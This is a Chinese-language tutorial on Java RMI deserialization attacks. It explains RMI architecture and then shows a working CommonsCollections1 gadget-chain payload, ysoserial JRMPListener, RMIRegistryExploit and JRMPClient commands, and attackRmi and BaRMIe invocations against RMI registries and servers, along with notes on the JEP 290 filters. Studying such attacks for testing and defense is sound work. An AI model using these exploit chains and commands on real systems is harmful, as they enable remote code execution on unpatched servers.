前言:
我们知道,JNDI是一个目录服务,该目录服务下有多种协议支持,例如RMI,LDAP,DNS等。
而直接路径可控的JNDI注入可以远程执行我们指定的class文件,再利用RMI或者LDAP这两种协议来进行配指定的一些gadget从而实现RCE。
那么JNDI注入中利用到的RMI协议与RMI反序列化有没有关系呢?
我认为是没有关系的,RMI在JNDI注入里仅仅作为一个路径协议的作用,主要是为了寻找对应的CLASS,和反序列化没关系。
RMI反序列化
RMI——让一个JVM调用另一个JMV的远程类(只需实现java.RMI.remote接口类的方法)
在RMI里的远程方法调用不是copy远程类到自己本地就直接用的,
而是引入了两个概念Stub和Skeleton
流程
0、传输时候使用的协议叫JRMP,他传输对象是就是基于序列化和反序列实现
1、服务端创建一个远程对象准备供客户端访问
2、注册中心将服务端代码注册为一个远程对象
3、客户端访问注册中心查找已注册的远程对象
4、注册中心返回服务器远程对象的存根到客户端,我们叫它Stub
5、客户端通过Stub调用远程方法
6、Stub和服务器的Skeleton(骨架)进行通信
7、服务器上的Skeleton(骨架)使用代理调用远程方法对应真正的方法
8、方法在服务器上执行,返回结果到骨架,然后再返回给Stub(存根)
9、存根把结果返回给客户端,结束
通过上面的讲述,我们可以把RMI中分为三大部分:Server、Client、Registry 。
- Client: 调用远程的对象
- 消费者
- Server: 提供远程的对象
- 供应商
- Registry: 注册中心,存放着远程对象的位置(本质上是一个map,提供ip,端口1099的代码段)
- 店铺
代码Demo
Server
1、创建一个接口Server
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Server extends Remote {
public String hello() throws RemoteException;
}
2、实现这个接口ServerImpl,实现hello方法
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class ServerImpl extends UnicastRemoteObject implements Server{
public ServerImpl() throws RemoteException {
System.out.println("构造方法");
}
public String hello() throws RemoteException {
System.out.println("hello,world");
return "hello,world";
}
}
注意点:
1、接口必须要继承java.rmi.Remote类
2、实现的接口必须要继承UnicastRemoteObject类
3、方法必须抛出RemoteException异常
Register center
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class register {
public static void main(String[] args) throws RemoteException {
Server hello = new ServerImpl();//创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello
}
}
Client
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
//获取远程主机对象
// 利用注册表的代理去查询远程注册表中名为hello的对象
Server hello = (Server) registry.lookup("hello");
// 调用远程方法
System.out.println(hello.hello());
}
}
总结
此时便完成了一次RMI反序列化调用远程方法hello,成功执行了Sytem.out.Println代码。
在实际业务场景下,便是如此,在A地服务器调用B地服务器发布的业务方法,这样子方便又快捷。
低版本JDK中,Server与Registry可以在多台服务器上
高版本JDK中,添加了checkAccess()方法,Server与Registry只能在一台服务器上,否则无法注册成功
这么一看,是不是有点像分布式的架构?
但是RMI本身并没有集群的功能,就是同一个业务部署了多台服务器,他只会根据你配置的ip地址,端口去调用其中一台,不会去调用另外的。因此RMI支持分布式,却不支持集群。
因此如果在实际业务中,可能还会用到dubbo,他支持集群,也支持分布式,流动性更好。
攻击
上面说了,整个RMI涉及到三个部分,注册中心,Server端,Client端
整个流程简单的来说是这样的:
1、客户端使用Lookup方法向注册中心发起请求查找对象
2、注册中心查找该对象,因此该对象已经被Bind了,此时查找到正确的远程对象,就返回该对象服务端JVM的地址。
3、客户端又接收到了注册中心返回的信息,此时客户端可以直接与服务端通信了,而不再需要依赖注册中心
一、客户端打服务端(较鸡肋,需要在有代码的情况下审计)
这里我使用的JDK版本为17u_080
需要条件:
1、服务端代码有一个方法接受Object类型的参数
(因为我们的payload是Object类型的,但是实际上不一定是要Object类型的接口才行,只要不是基本类型的参数都可以利用)
2、服务端Java环境存在可利用的反序列化链JAR包
3、已知目标的接口对象,以及方法和参数名,即a.b(c)
1、接口类User.java
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
public String hello(String hello) throws RemoteException;
void work(Object obj) throws RemoteException;
void say() throws RemoteException;
}
2、实现类impl Userimpl
import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User {
protected UserImpl() throws RemoteException {
}
protected UserImpl(int port) throws RemoteException {
super(port);
}
protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
}
public String hello(String hello) throws RemoteException {
return "hello";
}
public void work(Object obj) throws RemoteException {
System.out.println("work被调用了");
}
public void say() throws RemoteException {
System.out.println("say");
}
}
3、register注册中心
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class register {
public static void main(String[] args) throws RemoteException {
User user = new UserImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user",user);
System.out.println("rmi running....");
}
}
4、客户端调用CC1反序列化链命令执行的代码。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class client {
public static void main(String[] args) throws Exception {
String url = "rmi://192.168.20.130:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
}
}
5、结果
6、总结:
上面的代码demo以及成功命令执行CALC,我们是使用在服务端构造一个方法存在Object参数才成功利用的,但是实际上,String,Integer(int是基本类型,Integer不是基本类型)这些非基础类型的方法正好在服务端部署,的确是可以成功执行反序列化打服务端的。
但是实际上,客户端想通过这种方式直接打服务端也是非常鸡肋的,你需要获取到服务端起的对于的接口对象,以及方法和参数名才可以进行利用。
二、服务端打客户端(反制场景)
服务端打客户端又是怎么一回事呢?比如我们要日下一台服务器,那么我们可以在本地搭建一个本地服务端,让本地服务器等待对方服务器的连接,这种情况就叫做服务端打客户端,实现的效果类似“反制”。
https://blog.csdn.net/whatday/article/details/106971632/
反制复现
1、服务端开启一个监听,这里就是搭建一个RMI的服务端 JRMPListener
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9998 CommonsCollections1 "calc"
2、客户端lookup服务端
// 客户端代码,此时即是攻击者,但被反制成受害者
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RMITest5Interface extends Remote {
String test() throws RemoteException;
}
// 客户端代码,此时即是攻击者,但被反制成受害者
// 客户端
import java.rmi.Naming;
public class RMIClientTest5 {
public static void main(String[] args) {
try {
String rmiName = "rmi://192.200.222.79:9997/t5";
System.out.println("aa");
// 查找远程RMI服务
RMITest5Interface rt = (RMITest5Interface) Naming.lookup(rmiName);
} catch (Exception e) {
e.printStackTrace();
}
}
}
3、客户端触发服务端设置的反序列化代码
此时客户端的java攻击环境代码里需要有CommonsCollections.jar或其他反序列化链相关的jar包,否则对方的反序列化代码无法争取的在本地客户端执行代码,即反制失败。
将客户端换成下面代码也是可以成功触发本身的反序列化命令执行,从而被反制的。
可以看到客户端的代码无需多复杂,只需一个简单的lookup请求即可触发
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9997);
//获取远程主机对象
// 利用注册表的代理去查询远程注册表中名为hello的对象
RMITest5Interface hello = (RMITest5Interface) registry.lookup("hello");
}
}
三、服务端攻击注册中心(绝大部分场景)
这个是RMI反序列化漏洞利用中比较通用的利用场景,也是遇到的最多的利用场景。
比如我们在内网漏扫,端口探测,刚好扫到一台主机开着1099端口,那么我们大概率可以对这个注册中心(1099端口)直接进行漏洞利用,拿下这台注册中心的服务器权限。
工具利用
JDK 7u080测试成功,代码仅为开启1099 RMI端口监听即可,无需做其他的任何改变。
可以看到使用的方法为rebind,存在4个反序列化触发点lookup、unbind、bind和rebind
其中lookup为客户单的角度攻击,也就是上面我们所说的反制的部分
对于本部分攻击注册中心的话,unbind,bind,rebind对于我们漏洞利用来说漏洞差不多的。
在8u232 Jdk版本太高则显示异常,原因为filtercheck进行了校验
使用yso反序列化工具利用成功,同样需要注册中心处有反序列化链相关JAR包 RMIRegistryExploit模块
java -cp ysoserial-0.0.6-modify-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "calc.exe"
四、DGC层客户端攻击DGC服务端(或注册中心)
DGC(分布式垃圾回收机制),主要是为了维护服务端中被客户端使用的远程对象引用存在的。因为在跨JVM里没办法使用原来的垃圾回收机制,因此也就有了DGC。
主要的方法为dirty和clean。
1、dirty 客户端想要使用服务端上的远程引用,使用dirty方法来注册一个。同时这还跟租房子一样,过段时间继续用的话还要再调用一次来续租
2、客户端不再想调用远程对象时,需要调用clean清理
这个模块攻击范围更广因为RMI服务端或者RMI注册端都会开启DGC服务端,因此在表达上说打服务端,或者打注册中心都是可以的。
在YSO里有利用DGC层进行攻击的方法JRMPClient
使用YSO代码攻击——JDK版本7u080
可绕过RMI注册端jdk8u121后出现的白名单限制
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections1 "calc"
JAVA版本太高直接提示报错——JDK版本 8u261
五、使用多种工具尝试攻击注册中心
1、https://github.com/waderwu/attackRmi
使用方法
java -jar attackRmi.jar DOL 127.0.0.1 1099 'calc'
java -jar attackRmi.jar LAUS 127.0.0.1 1099 127.0.0.1 10000 'calc'
java -jar attackRmi.jar LAU 127.0.0.1 1099 127.0.0.1 10000
java -jar attackRmi.jar NPP 127.0.0.1 1099 hello 'sayHello(Ljava/lang/String;)Ljava/lang/String;' 'open /System/Applications/Calculator.app'
java -jar attackRmi-waderwu.jar DOL 192.200.222.79 1090 “calc”
没有回显,在JDK 7u80测试成功,会弹出多个计算器
工具2:https://github.com/NickstaDB/BaRMIe
java -jar BaRMIe_v1.01.jar -attack 192.200.222.79 1090
经过测试,同样没有回显,但是选择正确的反序列化链后可以成功执行命令 CALC,的确攻击有效。
六、利用JRMP反序列化绕过JEP290
解决办法
1、JEP290
在JDK6u141、JDK7u131、JDK 8u121及之后加入了JEP 290限制,JEP 290过滤策略有
1、进程级过滤器
可以将进程级序列化过滤器作为命令行参数(“-Djdk.serialFilter =”)传递,或将其设置为$JAVA_HOME/conf/security/java.security中的系统属性。
2、自定义过滤器
可以使用自定义过滤器来重写特定流的进程级过滤器
3、内置过滤器
JDK分别为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器。这两个过滤器都配置为白名单,即只允许反序列化特定类。
这里我把jdk版本换成jdk1.8.0_181,默认使用内置过滤器。然后直接使用上面的服务端攻击注册中心poc看下,执行完RMI Registry会提示这样的一个错误:
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 285, ex: n/a
4、jep290默认白名单
String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
参考资料
yso rmi部分原理解析
https://blog.csdn.net/whatday/article/details/106971531
https://blog.csdn.net/whatday/article/details/106971632/
https://su18.org/post/rmi-attack/ 比较不错
https://xz.aliyun.com/t/7930
https://xz.aliyun.com/t/9053
https://www.anquanke.com/post/id/204740
https://www.cnblogs.com/qianxinggz/p/13378822.html